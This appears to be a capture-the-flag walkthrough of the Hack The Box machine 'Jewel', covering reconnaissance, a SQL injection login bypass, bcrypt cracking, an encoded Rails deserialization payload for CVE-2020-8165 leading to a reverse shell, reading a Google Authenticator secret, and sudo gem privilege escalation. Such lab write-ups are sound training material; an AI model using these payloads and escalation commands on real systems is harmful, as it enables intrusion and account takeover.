Hack-The-Box-walkthrough[jewel]
introduce
OS: Linux
Difficulty: Medium
Points: 30
Release: 10 Oct 2020
IP: 10.10.10.211
User Blood haqpl 00 days, 01 hours, 43 mins, 28 seconds.
Root Blood Ziemni 00 days, 02 hours, 59 mins, 53 seconds.
information gathering
first use nmap as usaul
1 | root@kali:~/hackthebox/machine# nmap -sV -p- -v --min-rate=10000 10.10.10.211 |
- ngnix and phusion passanger exploit is not found, creating a account
- Profile picture cannot be changed so no chance of file upload vuln
- Cannot create a content so injections might not be possible
- Enumerated Dirs:
1 | /login (Status: 200) |
- Nothing intresting movin on to port 8000
- obtained users jennifer and bill has the password, spongebob
- sql testing in login, payload
1 | ' 1 or 1 = 1 -- - |
- Username was not valild, the sql query in the password field got accepted
- Logging in with the username, test_wr3nch and password [‘ or 1 = 1 – -]
(username is changed, cause its not valid)
Port 8000
1 | root@kali:~/hackthebox/machine/jewel# curl --head http://jewel.htb:8000/ -L |
- No apache exploits in searchsploit
- Hosts gitweb. (gitweb, web frontend to git repostories)
1 | <!-- git web interface version 2.20.1, (C) 2005-2006, Kay Sievers <kay.sievers@vrfy.org>, Christian Gierke --> |
- A simple console.log() in app/assets/javascripts/application.js
1 | console.log("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); |
- Got a hint from za10bx#3725 as redis
- Looking deeper in the gitweb
- db has a schema and a file that says everything is default
- lib has nothing
- log has nothing
- public directory has the things enumerated via dir enumeration
- storage has nothing
- test has nothing
- tmp has nothing
- vendor has nothing
bd.sql file, which is a postgresql database dump from debian 11 has
1 | 1 bill bill@mail.htb |
- Config.ru has nothing
- In the Gemfile, Redis is inolved as a gem
Got creds from port 8000, back to port 8080
1 | root@kali:~/hackthebox/machine/jewel# john -format=bcrypt hashes -w=/usr/share/wordlists/rockyou.txt |
get usershell
looking at the redis / ruby cve
the cve-2020-8165 https://github.com/masahiro331/CVE-2020-8165
Looking at the PoC
1 | curl 'localhost:3000/users?new=%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%09%3A%0E%40instanceo%3A%08ERB%08%3A%09%40srcI%22%15%60touch+%2Ftmp%2Frce%60%06%3A%06ET%3A%0E%40filenameI%22%061%06%3B%09T%3A%0C%40linenoi%06%3A%0C%40method%3A%0Bresult%3A%09%40varI%22%0C%40result%06%3B%09T%3A%10%40deprecatorIu%3A%1FActiveSupport%3A%3ADeprecation%00%06%3B%09T' |
- While decoding it, we get
1 | localhost:3000/users?new=o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy :@instanceo:ERB: @srcI"`touch /tmp/rce`:ET:@filenameI"1; T:@linenoi:@method:result: @varI"@result; T:@deprecatorIu:ActiveSupport::Deprecation |
Ok we have our payload, where do we inject it.. ? the only available places are login, signup and edit profile, login and signup gives error so that leaves with the edit profile,
While editing the username, capture the request in the burp and send it to
repeater. in the username paramater inject the url encoded payload and forward the request twicerefresh the http://jewel.htb/8080/articles twice while listening on the specified port, to obtain a reverse shell
or easily using the following python3 script
getuser.py
1 | import requests |
1 | root@kali:~/hackthebox/machine/jewel# python3 getuser.py 10.10.10.211 10.10.14.3 3344 |
get a shell
1 | root@kali:~# nc -lvp 3344 |
get rootshell
- After obtaining the shell, run enumeration scripts LinEnum.sh
- After enumerating scripts, found nothing intresting. The sudo version enumerated is that version 1.8.27, checking for its exploits lead to sudo 1.8.27 - Security Bypass https://www.exploit-db.com/exploits/47502
- After going through the report, since we have the passsword that is cracked “spongebob” lets
sudo -l
it - sudo -l asks for a password which is normal, and asks something verification code.
- ls -la the bills home directory reveals a hidden file .google_authenticator
- cat the google authentication file has a secret key/hash in it. We can find the verification code with the secret hash
1 | bill@jewel:~$ cat .google_authenticator |
- We used the Google Chromimum with an addon, GAuth Authenticator https://chrome.google.com/webstore/detail/gauth-authenticator/ilgcnhelpchnceeipipijaljkblbcobl to do the
task - We pasted the secret hash to the addon and it provided the OTP, with that we can sudo -l, and the /usr/bin/gem is available to be run as sudo
1 | bill@jewel:~$ sudo -l |
- with the gem GTFOBins https://gtfobins.github.io/gtfobins/gem, we are able to obtain the reverse shell
- sudo /usr/bin/gem open -e “/bin/sh -c /bin/sh” rdoc
1 | bill@jewel:~$ sudo gem open -e "/bin/sh -c /bin/sh" rdoc |
root.txt is obtained
Summary of knowledge
- gitweb .sql leak pass hash
- john crack bcrypt hash
- write cve-2020-8165 exploit python3 script
- use google_authenticator hash of Google Chromimum addon GAuth Authenticator to get the verification code
- gem GTFOBins privesclation
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…